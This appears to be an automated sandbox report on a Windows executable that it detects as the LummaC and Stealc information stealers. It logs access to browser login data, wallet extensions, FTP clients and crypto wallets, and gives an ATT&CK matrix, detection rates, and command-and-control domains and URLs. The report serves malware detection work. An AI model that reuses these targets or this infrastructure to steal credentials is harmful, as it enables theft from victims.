Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2258221249.000000000125C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2228919142.000000000125C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2258081562.000000000125C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: XNtOBQ5NHr.exe PID: 5828, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: XNtOBQ5NHr.exe PID: 5828, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.2502379431.0000000000081000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2459814389.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2504654866.000000000102E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YYVZHLAZ7NPNQKZ17XJO.exe PID: 5176, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	371 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
XNtOBQ5NHr.exe	53%	ReversingLabs	Win32.Trojan.Generic
XNtOBQ5NHr.exe	100%	Avira	TR/Crypt.XPACK.Gen
XNtOBQ5NHr.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
discokeyus.lat	172.67.197.170	true	false	high
grannyejh.lat	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
necklacebudi.lat	false	high
https://discokeyus.lat/api	false	high
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
energyaffai.lat	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/y(M	YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	XNtOBQ5NHr.exe, 00000000.00000003.2227090314.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	XNtOBQ5NHr.exe, 00000000.00000003.2227090314.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/SIPk	XNtOBQ5NHr.exe, 00000000.00000003.2199882480.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2199993766.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2200066123.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258022459.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	false	unknown
